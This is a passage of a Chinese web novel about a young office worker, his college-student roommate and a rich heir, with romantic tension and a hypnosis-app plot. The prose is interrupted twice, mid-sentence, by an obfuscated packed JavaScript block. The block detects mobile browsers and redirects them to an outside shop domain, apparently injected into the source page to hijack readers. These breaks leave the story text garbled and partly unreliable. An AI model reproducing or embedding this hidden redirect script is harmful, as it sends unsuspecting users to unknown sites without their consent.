简清安漂亮吗? 毋庸置疑,是漂亮的。 虽然远看的时候或许觉得他的气质会泯然于众人,脸只能算作是清秀干净,但是细看时就总忍不住被他那张脸吸引视线,特别是镜片后那双罕见的琥珀色眼眸。 陆宇炀不知道这算不算“耐看型”,但他觉得简清安不需要加那些所谓的限定词,无论谁来了都会承认对方漂亮的。 但再怎么漂亮,那也是属于男人范畴的漂亮。 那不是女人的那种…… “宇炀,宇炀,陆宇炀——” 陆宇炀回过神来,涣散的瞳孔聚焦,下意识缓眨了一下眼。 “想什么呢,那么入神,今天看你恍恍惚惚走神一天了。”余开阳低拍着他的肩,无奈地笑道。 “抱歉,”陆宇炀的视线从电脑屏幕移开,转头看向青年, “你们说到哪了?” “啊——你果然没听,”余开阳愤恨地咬了口蛋白棒, “说明天,周六晚上有场聚会,在‘Tonight’KTV,听说不少有名的新生都来,问问你这个风云校草去不去。” “风云校草?”陆宇炀眼皮猛跳了几下,显然是对这个称呼接受无能, “谁评的?” “哥,你不看校园表白墙吗?” 如果换一个人这样说,余开阳肯定觉得是凡尔赛了,但偏偏是陆宇炀,他还真觉得对方有可能不太清楚, “我们就坐这几分钟,你又被拍了N张发表白墙了。” 说实话,校花校草这种东西,就算有人真的闲着无聊去搞评比,也很难统一审美的。 况且在A大这种地方,不仅卷成绩,也卷特长和外貌,大家收拾收拾,俊男美女也遍地走,往年这些头衔也是给艺术系那边的人摘下的。 并且张扬不羁这种东西……说实话只适合出现在小说漫画里,现实中真有人搞这个,所谓魅力还没出来,出的油就能给汽车开上八里地了。 所以往届的校草也都是走清爽帅气,温润俊朗,高冷学霸之类的风格。 但陆宇炀愣是在开学没多久就以一己之力统一了全校审美。 无他,这哥们是靠脸硬帅。 没有死角的那种帅。 偏偏还是N年难遇的桀骜不羁,这个赛道走好了直接让人眼前一亮。 基本上有陆宇炀在的地方,投票按钮就不可能给另一个人了。 最致命的是,陆宇炀甚至还处于一种帅而自知和帅不自知的区间。 说他帅不自知? 倒也不是,他特别会用脸,发型发色都是精心设计的,将他那股子随性不羁散漫又帅气的劲儿都发挥了出来。 衣品穿搭更是没得讲,他要是认真搭配得帅点,余开阳都不敢和他走在一起。 简直是不在一个次元的降维打击。 甚至经常有男生拍他的照片发去表白墙,不是gay,就是想问问这套衣服是怎么搭的。 结果经常是有人扒出来,全身上下加起来几位数,根本学习不了。 还经常穿点没牌子的,也不知道是哪家高定。 直接就锤死了对方富二代的背景。 之前他馋“Diamond Stars”这个潮牌的衣服很久了,虽然定位是面向年轻人的新兴潮牌,但价格对于他还是很肉疼的。 结果对方听到了,说他刚好买了件,试穿了一下发现尺码小了,但尺码或许适合他,问他要不要。 余开阳都被这笔天降横财砸傻了,连连点头——虽然他对那个款式不太感冒,但要知道就算转手挂二手平台,也能卖小几千啊。 当然,陆宇炀送他的礼物他敢挂二手平台他就死定了。 他以为这就是极限了,没想到今天早上陆宇炀来学校,和他说试穿过了不太好意思送人,问他有没有喜欢的款式,他直接下单送他了。 好陌生的话语,文字居然能那么轻易地排列组合。要不是余开阳知道陆宇炀铁直,都要以为他暗恋自己了。 但是说陆宇炀帅而自知,他好像又不太自知。 按理说长成这样,身材相貌还有钱财都无可挑剔,追他的人也是无论男女都一大把。 他和陆宇炀相处几天,遇见的搭讪表白的就好几个了。 但他好奇问过陆宇炀的恋爱史,那家伙居然回答是零。 他一开始难以置信,因为陆宇炀长得就一副夜夜笙歌夜店至尊VIP流连花丛的不羁模样。 于是他追问,说为什么不谈,他不相信。 陆宇炀反倒认真地想了想告诉他, 就是没遇到心动的。 余开阳败了,连叫了他三遍“纯情哥”。 “表白墙吗?我比较少看朋友圈。”陆宇炀其实加了表白墙,但早就屏蔽了,他不习惯看太多无用消息。 说着,他转了转电脑,向着余开阳调整了一下角度。 “干嘛,风云校草?”余开阳摸不着头脑。 “不是说有人拍我吗?我调整一下,风云校草右脸好看点,比较上镜。”陆宇炀笑着说。 余开阳没招了。 虽说他和陆宇炀相处总忍不住有点讨好富哥的意思,但实际上陆宇炀这人确实情商高,不扫兴,调侃也能接,让人相处起来很舒服。 “明天周六晚吗……我看看吧,应该有时间,但不确定。” “行,”余开阳应得爽快, “我先回一下那边,如果确定去了告诉我。” 余开阳一边敲着字一边说: “我真建议你去,好像那谁谁,封什么,忘记了,反正几个系挺出名的人都来了,结交点那样的朋友也好。” 他感觉陆宇炀确实应该在那个圈层。 陆宇炀漫不经心地应着,视线又回到电脑屏幕上。 “不是吧哥……”余开阳发完消息又哀怨地飘过来, “开学也没多久吧,你不应该享受一下你的大学生活吗……卷成这样,这是什么,什么金融公司?案例拆解?调研分析?” 余开阳懵了,陆宇炀不是和他一样是体育系的吗?这些天书一样的又是什么? “选修课的作业,我选修了《国际金融》和《证券投资分析》,”* 在看见余开阳诧异地像是在看另一个物种的眼神,陆宇炀无奈说, “兴趣而已。” 余开阳头疼,能上A大的就算是体育生文化课也不会差到哪里去,但他还是觉得对方和他不在一个维度。 不过他刚刚眼睛一瞥好像看到了什么“恒讯”……这他倒知道,A市很出名的一家金融公司,在A大学习的金融系有不少毕业后都想去那里就职。 “还有,”陆宇炀指节不轻不重地弹了他的脑门, “随便看人电脑很不礼貌。” 余开阳嗷呼一声,捂着脑门,尴尬一笑: “这不是崇拜你吗,下次不会了不会了…… “只不过怪不得那么多人喜欢你,你这技能点太多了,我都快被你征服了……” 陆宇炀忽然严肃道: “我是直男。” “知道知道,我就随口一说,你是直男,笔直,铁直,钢铁直,懂得。”每次陆宇炀被男生告白的时候,都会很严肃地重复一次,余开阳听得耳朵都要起茧了。 ——他当然是直男。 陆宇炀想。 笔直,铁直,钢铁直。 -- 陆宇炀撞到玻璃了。 虽然可能看起来是因为看简清安入迷才撞到的,但陆宇炀知道事实不是这样。 陆宇炀捂着鼻梁很凝重地回忆。 他其实到现在都还不敢相信,他的春梦对象是简清安。 道德方面的谴责,和性取向可能产生的动摇,让他一整天都有些心不在焉。 因为这个,他早上还被余开阳问是不是谈恋爱了。 他条件反射说自己是直男……结果回过神来意识到对方根本没问这个。 被余开阳笑了半节课。 不过他还是很相信自己的,或许就只是一次胡思乱想的意外,毕竟谁也没办法控制自己的梦境。 不过也是为了将这个感觉确认清楚,所以他今天也回了住所。 在楼下,他看见了等电梯的简清安。 胡思乱想间,他也不知道怀揣着一种怎样的想法,下意识就看向了简清安。 他的视力一向很好,很轻易就能看见那玉白的肌肤,精致挺翘的鼻梁,微薄但看起来柔软的唇,以及漂亮的下颌弧度。 琥珀色的眼眸就像是半嵌的宝石,剔透而晶莹,平常被镜片挡着,不仅看不清那双少见的漂亮眼眸,居然也没发现对方的眼睫居然那么长—— 他撞到玻璃了。 完全走神了,一下子猛撞上去,陆宇炀疼得险些跳起来,眼眶激出生理性的眼泪。 他想着简清安在那边,硬是忍着没嚎叫出来,结果对方似乎发现了这里的动静,转眸向他看来。 条件反射般,陆宇炀就迅速扭过了头。 简清安也有些懵,寻思今天玻璃也没擦得那么干净啊。 不过他看着陆宇炀捂着鼻梁,以及强压的痛苦的神情,稍微比划了一下,心想, 果然还是鼻梁高,要是他撞的话,估计…… 应该可能会先撞到眼镜。 只是简清安站在原地,心里也有些不知所措。 按理说他是不是应该关心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427106|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下自己的合租室友。 但虽然他对这个合租室友挺满意,对方人品性格方面也的确不错,但都怪那个该死的APP,他现在见到陆宇炀,总忍不住回想起他质问的那句“眼里是不是没有他这个小三”。 简清安觉得都是APP的罪孽,居然把别人好好一正直开朗善良男大安排成自己的“小三”。 也不知道是什么恶趣味。 “叮——” 电梯门开了。 简清安自然要等陆宇炀,不然也太奇怪了,明明是合租室友,刻意避嫌成什么了。 毕竟现实中他们还是正常室友关系。 “你还好吗?” 简清安看着勉强缓过劲后,行过来的陆宇炀。 陆宇炀视线有些闪躲,但还是回答: “嗯……还好,看来昨天让你带药膏回来也是有先见之明了。” 简清安听到是正常的对话,下意识也松口气,尽量平复过心里的忐忑,认真看了看,随后笑着说: “还好,没有破相,还是挺帅的。” 简清安真诚地夸赞。 陆宇炀刚刚压下的烫热一时间涌了上来,耳垂脸颊隐隐的发热,睁圆了那双浅色的眸,似乎是不敢相信对方居然说出这样的话。 简清安就那么看着他,直直地看着他,还夸他帅,是不是…… 很快陆宇炀又强迫自己冷静下来。 明明只是正常的社交和对话,他在胡思乱想什么。 他已经是个成年人了,被早晨一个梦弄得大乱阵脚是怎么回事。 但一向自如的陆宇炀居然一时间没办法答话,最后只是攥了攥单肩包的肩带,跟着简清安进了电梯。 简清安按了他们所住的楼层,一时间电梯内没人说话,忽然就变得安静。 直到陆宇炀的指腹无意识磨了磨肩带,还是问了句: “哥,你是在恒讯任职吗?” 简清安略怔,不明白他为什么问这个。不过他的确和对方提起过,他在这里合租就是因为离他上班的公司,恒讯比较近。 其实简清安刚刚心里多少也有些纠结,毕竟虽然现在不清楚APP催眠状态的触发方式,但相处时间长无疑触发几率会大一些。 但就像是他不能不去上班,不见到裴则遇一样。合租的房子他挑了那么久才挑到满意的,室友又那么好,他不可能轻易就能搬走。 “嗯。”简清安低声回一句。 陆宇炀埋头犹豫了一会儿,还是开口说道: “那个……额……” 叮的一声,电梯门开了。他们住的六楼,坐电梯不用多久,简清安自然地就走了出去。 发现陆宇炀没跟过来,才疑惑回头。 结果见到少年捏着肩带,低着头,那头张扬恣意的红发此刻耷拉得颇为纠结,像垂着脑袋的红毛小狗,耳垂和脸颊都透着隐隐的粉。 其实刚刚陆宇炀捂着脸扭过头时,简清安就注意到对方过分发红的耳垂。但他没太在意,以为只是疼得情绪激动所致。 只是配合现在这样的姿态—— “我有个作业,关于金融公司案例分析的,我选了‘恒讯’作为分析案例。 “我想着,哥你在恒讯上班,能不能稍微,麻烦您,帮忙一下……” 陆宇炀已经很久没有对人说话结巴了。 但今天他才知道自己能磕绊成这样。 不过也是终于问出来了。 其实作业自己查资料也能做出来,只不过他想确认今早是不是一次错乱的意外,确认的最好方式就是和简清安经历一次正常的相处。 简清安不知道怎么有人问个作业问得和告白一样。 弄得他险些脱出口的“可以,我答应你”都临时改成了,“可以啊,我今晚应该有时间”。 或许是年轻气盛吧,再加上外形,总让他联想到什么青春偶像剧男主。 听到答复的陆宇炀怔然抬头,看见对他轻浅笑着的简清安。 而此刻电梯因为太久没人出来,自动开始闭合金属门。 面前青年的身影被金属门缓缓遮蔽,直到一只纤韧玉白的,骨节分明的手掌按上了电梯门。 电梯门感应到有人拦门,自动反应打开,青年的身影再度出现在他的面前,连同他那张漂亮疑惑,而略微茫然的面庞。 走廊微弱的光线从他的身后倾来,视野前方的光源不算明亮,只有电梯内的顶光,落在眼前那张白皙的脸,和纤韧的身躯。 背光模糊地描摹了一圈清瘦笔挺的轮廓。 陆宇炀又看到了那颗痣,在脖颈,红得鲜明。 耳旁落下青年一句低声的疑惑: “怎么不过来?陆宇炀。” 15. 第 15 章 脚下有一瞬被沾住了。 不知道是不是视野贪恋着这幕,想要让它存在得更久些,陆宇炀的眸光好半天顿得一错不错。 等他回过神来,怔怔地应了两声,魂半飘着出了电梯,跟上了简清安。 他埋着头,始终不敢看向对方。 心里只是胡思乱想地催眠自己。 只是因为漂亮,他才会看恍神。 只是漂亮而已。 但那颗鲜红突兀地出现在他的脑海中,像是溅在心头的一滴清清冷冷的血。 落着挥之不去的色彩。 -- 开门进了玄关,简清安熟练地打开了灯。 冷白的灯光骤然将整个客厅映亮,宽敞整洁的布局一览无遗。 但陆宇炀进来带上门后却有些迟疑,莫名怔然了一瞬,低头看了看玄关的鞋柜,又抬头稍微困惑地扫了一眼。 因为他进门后,忽然有种陌生感袭来,反应过来后发现,好像是这里并没有他的痕迹。 虽然他是因为来A大上学才合租的这套住房,A大开学也确实不到一个月,并且他不经常回来住…… 但,也不至于一点痕迹都没有吧。 陆宇炀依稀记得他在鞋柜旁边摆了两双AJ,还有一双平时替换的深色拖鞋。而客厅那边的半开放式厨房……他虽然不算经常做饭,但偶尔会下厨几次,所以他记得他在厨房挂了件深灰色的围裙。 怎么,都没了? 陆宇炀心里不解,却忽然有种自己见不得光的感觉。 简清安察觉到他的迟疑,也略略有一丝心虚。 其实之前客厅还是会有陆宇炀的东西在的。特别是对方还有偶尔下厨的习惯,所以厨房很多餐具和冰箱的食材都是对方添置的。 但因为昨晚裴则遇视频通话的事情……他让陆宇炀去紧急收拾了他的东西。 虽然这样对合租室友很不公平,但他那时“大难临头”了,只能想到这个办法。而且自己昨晚的情况如此惨烈,很难说没有陆宇炀的一份“功劳”。 陆宇炀现在是疑惑了? 可恶,APP不是有认知补全吗——难道是他之前猜测错了? 陆宇炀的疑惑只持续了一会儿,随后他俯身打开鞋柜,也见到了替换的拖鞋。 模模糊糊中,他记得或许是昨天的自己心血来潮收拾了一番吧。 简清安见对方没有异状,也松了口气。转眸却又见到换好拖鞋的陆宇炀走向沙发,准备把单肩包丢到沙发上时,却发现沙发巾没了。 简清安可疑地沉默了两秒,颇有点壮士扼腕的悲壮心情说: “嗯……啊,那个,沙发巾我昨天不小心弄脏了,拿去洗了。 “现在应该干了,我去把它收回来。” 简清安说完就扭过头,颇有些逃似的意味,却又无端心虚地补了一句: “我洗得很干净,嗯……” 简清安确实洗得很干净,毕竟他知道那是怎么“弄脏”的,总会有种很强烈的羞耻感。 手搓了一遍后,又丢去洗衣机洗了两遍。 在按洗衣机最后一遍按钮时,简清安其实有点迟疑,犹豫着需不需要那么夸张,毕竟严格意义来说,再怎么脏洗两遍也能干净了。 但他最后还是按下了一次按钮。 当时脑海中闪过的是陆宇炀的那句,“你下次和你老公弄的时候搞脏的……能不能不要让我洗了”。 简清安把沙发巾收了回来,陆宇炀将脱下的单肩包放到茶几,也很自觉地过来帮忙铺沙发巾。 不过当他嗅到上面洗衣液的味道时,下意识问了一句: “好好闻的味道,是白玉兰的吗?哥。” 简清安听罢轻怔,也想了起来。 他其实比较喜欢秩序感,在生活中某些方面也有类似的偏好,比如买同一品牌的香型一致的沐浴露和洗衣液。 这本来没什么,但现在这种情况,又让他想起昨天糟心的APP催眠状态。 他和陆宇炀用同一款沐浴液还是太暧昧了吧。 嗯……他要不要换一个香型? 话说对方那瓶分装应该快用完了,自己也不用敏感到这种地步。 “是啊,你喜欢的话,我好像还有多的分装。”简清安说的是客套话,他不相信有人拿过一次分装还会拿第二次,特别是陆宇炀这种看起来很高傲也不会贪小便宜的。 如果他真的要,自己就说抱歉记错了,原来之前已经用完了。 简清安觉得自己的应对措施很完美。 “不用啦哥。”陆宇炀抬起手挠了挠头。 简清安在心里点点头。 嗯,是的,他猜到了。 “我自己下单就行了,上次你给的那瓶沐浴液我快用完了,我觉得挺好用的,就下单了个同款1L装,应该最近能到了。” “嗯……?” 简清安以为自己听错了,反应过来后彻底傻眼了。 这应该是他这辈子以来最难过的一次成功安利。 -- 铺好沙发巾后,陆宇炀就坐在沙发上很局促地问他,今晚具体是什么时候有时间。 简清安刚想回答都有时间,却忽然闻到自己身上西装外套的酒味,拎起领口轻轻嗅了一嗅,他不住道: “我没有其他安排了,一会儿应该就能过来。 “不过我得先洗个澡。” 他今天酒会没喝酒,但应该是和裴则遇拉拉扯扯时,不小心沾染上了对方身上的酒味。 细嗅还有几分很缥缈高级的香味,裴则遇没有喷香水的习惯,简清安努力回忆,猜测可能是不知道什么时候沾到的周晟铭的味道。 简清安下意识还是把陆宇炀当小孩子,觉得让他闻到自己身上的酒味不好。 他把那丝诡异的,有点像是在小三面前洗掉老公和小四气息的背德感很快地抛到了脑后。 陆宇炀当然没意见,说自己在房间等他,顺便先整理一下作业资料。 而简清安去阳台收拾了替换衣物,想了想又发现忘了浴巾,把衣服放下后将浴巾收了回来,就进了房间的浴室。 当温水洒到他的身上时,简清安还有些恍神。 最近发生的一系列事情让他应接不暇,但不知道是不是APP提升了他的精力和耐力,他居然感觉一切还在能承受的范围。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427107|200887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然,也可能是他承受能力很强。 从小到大都是这样,他一向很能忍,在同龄人还在追求刺激,不断犯错时,他就已经习惯了用理智约束自己的一切。 打沐浴露时,简清安又闻到了熟悉的香味,一边琢磨着要不要去换个味道,一边把沐浴液的瓶子拎起来掂量了一下—— 发现700ml的沐浴露重量还剩一大半时,简清安果断放弃了。 只是自己太敏感了而已,没必要这样浪费。 只是闻着熟悉的味道,简清安无意间思绪乱飘,手上的动作没停,却总忍不住在想现在脱离自己视线的陆宇炀会在做什么。 今天APP已经催眠了两次,不会—— “咚咚咚。” 三声清晰的敲门声在近处响起,递到耳边,瞬间就把神思还在漫游的简清安扯了回来。 简清安以为是自己太紧张所以幻听了,但浴室门又适时响起三声敲门声,这次对方还特意放慢了速度,让简清安想忽视都不行。 简清安即刻绷紧神经,动作也停了,明明是大夏天,他却莫名感到身上残存的水液开始发凉。 不会吧,难道陆宇炀真被催眠了。 他敲门是想做什么? 等等,自己的浴室门关了吗—— “哥,你的衣服好像忘在沙发上了,我给你送来了,要开门拿吗?” 正在紧张地胡思乱想着要不要跑去锁门的简清安听到这句话后,一时间默了默,而后缓缓移了视线,看见了孤零零在挂钩上的一条浴巾,很是孤独地在那自挂东南枝。 他就说今天怎么进浴室进得那么轻易。 原来是忘记衣服了。 “啊……麻烦你了,宇炀,我洗个手就来拿。” 简清安觉得自己真的不能再这样一惊一乍下去了。 -- 周晟铭醒来时,察觉到落在眼皮上的很刺眼的光,他蹙着眉头,轻移着搭在额头的手臂挡了挡,才意识到自己好像在什么地方睡着了。 他把手臂拿开,瞥见冷白的天花板,才发现自己在休息室。 身下的触感是沙发。 怎么会在这种地方睡着……周晟铭有些头疼。 他下意识开始回忆,脑海中闪过很多模糊的片段,有他在酒会大厅和裴则遇的交锋,有他们在会谈室的博弈,有他在休息室门外听到的对话,但最后是…… 他把纤韧的青年抵在墙角时,对方的眼尾轻微的发红发热,扭过了脸,一副欲拒还迎的羞愤模样。 应该是勾着人去亲他的。 还是钳着下巴被强迫灌入所有爱意,张着唇被掠夺的喘息不能的那种亲法。 周晟铭很平静地想着。 他甚至没碰到对方,对方就能显露出这样的姿态,也怪不得裴则遇会被迷得昏头。 但也终究只是低级的手段而已。 周晟铭还记得对方那双眼眸凑近看确实很漂亮,很想让他发喘地流着…… 他的大脑忽然空白了一瞬,脑海中出现的却是那双清冷而略微迷蒙的琥珀色眼眸,居高临下地,俯视地,带有完全物化凝视且审视意味的目光…… 在看着他。 16. 第 16 章 周晟铭在发抖。 某种隐在脊髓的神经似乎被刺激得异常兴奋,过电似的,潮水般一浪叠着一浪的快感近乎要覆没了他的理智。 但仅是一瞬。 周晟铭意识到自己在想什么时,就立即回过神来,掌骨捂着自己急促喘息的唇,抑制住胸膛的剧烈起伏,尽量深呼吸地调整状态,完全不知道自己怎么了。 等他意识到指骨上有微妙的触感,指腹下意识揩过脸颊,抹到那枚湿润,他才后知后觉反应过来自己好像掉眼泪了。 ——爽到哭了。 周晟铭倒在沙发上,手臂掩住了双眸,顺便拭了把眼泪,心里骂, 神经病。 他没喝多少酒,不排除有人给他下药的可能,一会儿约私人医生做个全面检查。 周晟铭很快给自己的“精神错乱”找到了缘由和解决方法。 又在沙发上缓了好一会儿,他才坐起身,开始捋着自己混乱的思绪。 这次和裴则遇的博弈他算是败了,既然如此…… “就回去好好推进项目”。 周晟铭脑海中忽然蹦出了这句。 很突然且莫名其妙。 虽然确实是这个道理,但这句话似乎并不是从他的意识里诞生的,而是某人曾在他的记忆中烙下的命令。 ——看来他得顺便约一下他的心理医生了。 周晟铭调整着姿态,想整理一下被压乱的西装,结果指尖在触到衣领前一顿,眸光很锐利地瞥见了左胸处布料蹭出的一道灰痕。 周晟铭的眉头微不可察地蹙起。 在哪弄到的。 并且,他发现深咖色的布料光滑平坦到有些空荡了—— 他的胸针好像不见了。 他自然不认为谁胆大包天到敢偷他身上的东西,顺着上身西装内袋的触感一翻,也碰到了被存放好的物件。 周晟铭略有些疑惑地摸出,发现了一块被丝质手帕小心包裹的胸针,以及一块被揉捏出不少褶皱的,显然被暴力使用过的手帕。 他的注意力一开始没在胸针上,只是凝视着手帕,似乎很难想象到底要怎样失礼地对待,才能使这片绸布显露出这样颓败的姿态。 总不能是拿去捂着别人的嘴强行绑架了吧。 周晟铭不觉得自己这个想法有多好笑,掀开另一块手帕,看到了同样沾灰的胸针。 纵使是遇见过许多棘手情况的周晟铭,一时间也很难弄清这几件事物之间的联系。 应该是他不小心摔了。 周晟铭面无表情地摸了摸自己仍残存隐约酥麻痛感的侧脸,脑海中断片的认知逐渐被连上。 但等他回过神来,才发现一向有不轻洁癖的他居然在无意识地摩挲着那枚被弄脏的胸针,并且指腹在反复地按揉残存痛楚的侧脸,体会轻微疼痛的同时,仿佛在渴求些更深的什么…… 失神间,周晟铭攥的胸针落到了地毯上。 未等他捡起,沙发旁的手机屏幕便亮起,他余光瞥到手机界面发来的消息,轻轻怔住。 【叶秘:周总,游轮派对的最后方案已经确定了,您看看还有什么需要修改的吗?】 下一条消息便是发来的方案文件。 周晟铭这才想起下个月要举办的游轮派对。 他刚回国没多久,一落地A国就开始忙着接管各种集团事务,还得去对接恒讯的融辉项目,忙得几乎没时间喘息。 但他以后会在A国长期发展,家族那边也一直催他至少举办一个稍微正式的宴会,宣告帝盛集团继承人的未来动向。 最好邀请A国新生一代的名流权贵,毕竟以后在同一片战场上厮杀的也是他们。 周晟铭答应了,但也摒弃了一些传统的宴会形式,直接开成了游轮派对。 对此,家族那边罕见的没什么异议。 周晟铭点开文件,大致翻看了一下。 方案他过目了很多版,基本上整个流程和方向都确认无误。 但周晟铭略抿着唇,琉璃色的瞳孔淌着些很矜傲的光泽,不知想到了什么,回了一句: 【派对规模可以再大些。】 发完,他并没有等回复,俯身拾起了那枚落在地毯的胸针。 指骨一点点捏着胸针,起身时,他也看见了叶钧的回复—— 【好的,周总】 【对了,派对的话,恒讯那边需要邀请吗?】 周晟铭攥着那枚胸针,指骨抵在下颌,姿态无意间显得微妙的爱怜。只是他面上没有丝毫情绪,指骨触在屏幕上,轻敲间回复了两个字—— 【当然。】 -- 简清安洗完澡后,在浴室把头发吹成了半干。 他肩上搭着洗发巾,垂眸拭去镜片上水雾的同时,余光也瞥见了洗手台镜面的自己。 刚洗过澡,镜面上蒙了水雾,简清安透着这层朦胧,难得认真端详起自己的相貌。 说实话,他知道自己并不算难看,甚至可以划分到比较好看的面容。 只是他的性格比较疏冷,就算最开始能收几封情书,听到数次告白,到最后人们也只是感觉自讨没趣而已。 他不觉得有什么问题,毕竟谈恋爱并没有规划进他的人生安排中。 他也没想过用这张脸去博得什么好处。 所以他也没想到,自己有天会和那群天之骄子们扯上关系。 简清安又戴回了眼镜,随着视线变得清晰,重新看见镜面上熟悉的姿态,他才稍微觉得安心一些。 这场荒诞不羁的梦最终都会醒的, 既然如此,在最开始时他就不应该抱有任何幻想。 -- 陆宇炀听见敲门声响起,整理好最后一点资料,脑海中又快速确认好准备问的问题后,就局促又礼貌地说了声:“请进。” 简清安推门进来,刚从温度不低的浴室出来,又洗过了澡,骤然踏进空调房内,便浑身上下打了个寒颤。 冷得猝不及防,眼睫颤动间,只有下意识的茫然。 他抬眸看了眼空调显示的19℃,喉头一哽,默了默。 新装的空调制冷效果是最好的。 他们住的这套房就是统一新装的空调。 简清安平时只敢开26℃,还不能开太长时间,要不就会被冷得受不了。 也不知道是不是对方太年轻,简清安憋了憋,最后只能说一句: “身体真好。” 陆宇炀体温一直很高,再加上他们宿舍大多都是身体好且年轻气盛的体育生,他在外面也只有单独住房间的经验,所以空调一直是铁打的19℃。 陆宇炀听到这句话时一时间没恍过神来。 因为他说完“请进”后,转过眸,视野中就直直撞入推门进来的简清安。 他和对方没见过几次面,为数不多的几次碰面,对方也总是穿着一身得体修身的西装。 除了初次见面时,陆宇炀记得很清楚,对方穿的是一身简约干净的便服。 导致他都有些困惑,因为微信上聊时他知道自己的室友是工作党,但面前的青年看起来也和大学生相差不多。 直到后面见到对方穿上西装后他就没有疑惑了。 很难说,那是一种很微妙的感觉,穿着西装的简清安总有种被工作折腾得难舍难分的气质。 但此刻面前的简清安只套了件款式简单的白T,领口开得很大,几乎不费什么力气就能窥见精致漂亮的锁骨。穿正装时有些若隐若现的脖颈处的红痣也一览无遗,像是落在白瓷上的血珠,无端得承载着唯一的情.色意味。 下身是一条版型宽松的浅棕色五分裤。五分裤这个穿起来很考验人,比例不好身高随时被拉少十几公分。但青年穿起来慵懒随性的同时,韧直漂亮的白皙小腿也直勾勾地引人视线。 而且似乎是洗了发,墨色的发丝半湿着,见不到水珠,却更有点隐约的难言意味。 陆宇炀下意识喉结滚动。 他不记得在哪里刷到过,有人说半湿发很斩直男。 他曾经嗤之以鼻,因为他从来没有这样的偏好。 直到现在见到了简清安。 简清安打冷颤时,落在脖颈处的微湿的碎发跟着动,像是落了满身雪被迫抖毛的鸟雀。 陆宇炀回过神后,几乎是条件反射般摸向空调遥控器,就按高了温度。 听到空调不断发出的“滴滴”声,他似乎才感觉狂跳的心脏声被掩盖住,堪堪维持住那份体面。 他不断告诫自己,他是来经历“正常相处”的。 虽然这件事本身就带着心虚的成分,但他知道自己肯定能做到的。 怎么可能因为一个照面就乱了阵脚。 “还冷的话,及时告诉我。”直到空调数字最后停在了26℃,陆宇炀才堪堪收回了手。 简清安没想到对方听懂了自己的意思,心里对他的好感又提了一分。 只是他那句“夸赞”也是发自真心。 A市的夏季也不见得有多凉爽,他穿正装是工作需要,并且恒讯的空调真的能把人冷到感冒,西装还是有不少保暖作用的。 但他从见陆宇炀的第一面,对方就几乎焊死了几件套。 初见时还是很有质感也很凶的机车外套。 让他一边觉得这家伙是不是不太好惹的同时,一边又想着他好像没备到藿香正气水。 结果开口一口一个“您”,加上很学生气的礼貌把他误解的滤镜彻底打碎了。 后续虽然他隐隐约约明白那叫“穿搭”,但藿香正气水还是备上了。 ——不怕冷又不怕热吗? 陆宇炀早在房间书桌前给他摆好了一张软椅,所以简清安在道了谢后,就坐到了他的旁边。 “如果没什么问题的话,我们就开始吧。” 简清安靠过来得太快,陆宇炀都没来得及反应,鼻腔就灌入熟悉的馨香气息。 白玉兰的味道,在洗过澡后尤为强烈,淡雅却有存在感的香勾得人有些发昏。 陆宇炀一边大脑有些空白地给对方转过电脑屏幕,一边又想到了什么…… 等等,他好像还没洗澡吧。 今天好像还训练了来着。 出汗了?好像是。 完蛋了,他刚刚整理什么资料呢,应该去洗个澡啊,对方现在靠得那么近—— 而简清安印象中也是第一次靠陆宇炀靠得那么近。 对方也确实像个热源一样,一坐下他就感觉身旁温度高了不少。 简清安的目光随着他的思绪转了一下,恰好陆宇炀的外套被他随意穿得半披在腰间,自然露出了里面的无袖黑色背心,以及那锻炼得极好的明晃晃的手臂肌肉线条。 陆宇炀的皮肤也白,不过不是裴则遇那种冰山似的冷白,也不像周晟铭那种贵养出的矜傲的薄白,而是一种很健康很红润,甚至有些偏蜜色的白。 不过简清安的目光还是忍不住停在欣赏肌肉线条中,直到看见陆宇炀很局促甚至有些迫切地将外套拉了上来,最后还密实地拉上了外套拉链。 简清安默了,略略怂怯地收回了视线。 他也没看得那么明显吧。 而且他也没看哪里啊,就盯着手臂瞟了几眼而已…… 哦——对了,他忘记了。 陆宇炀是直男,还很恐同。 这下弄得简清安是有些良心不安了。 毕竟他要是真的“清清白白”的话,看两眼也不至于心虚。 问题是他性取向还真是男人。 空气诡异的安静了几秒。 “那个,你也冷啊……”简清安觉着气氛可能有些尴尬,绞尽脑汁地憋了一句。 但说出口他就后悔了。 “是,是啊哥。”陆宇炀也不知道怎么回,只能很局促地笑着。 简清安眼眶有些湿润了,被自己蠢到的。 其实很早他就知道,除了工作场合他能对答如流外,其他情况下他社交都有种拟人感。 大部分情况下他还是可以伪装人类成功的。 只是失败的时候也很惨烈。 所以他经常庆幸自己的性格看起来比较疏冷,平时也很难露馅。 -- 好在除了最开始时有些尴尬和僵硬外,他们进入状态后就都很认真自然。 在收获陆宇炀数道夸赞和崇拜的目光后,简清安也有些无奈道: “你是不是忘了,我之前是A大的金融系的。” 常年绩点和学分全满,年级成绩没下过前三的那种。 辅导个选修课作业对他来说简直是易如反掌。 陆宇炀也终于放松了下来,笑着打趣说: “是的,算起来你还是我的学长呢。” 简清安点头,作业接近尾声,他的思维也不由得有些发散,回忆起在A大的一些画面。 或许是没想到离开母校两年,还能见到一份A大的金融课作业吧。 想了想,简清安又想起现在这个时间,应该是新生开学不久。 看着陆宇炀的脸,简清安又想到什么,拿起手机低着眸道: “说起来往年A大这个时候都会搞什么校花校草评选……” 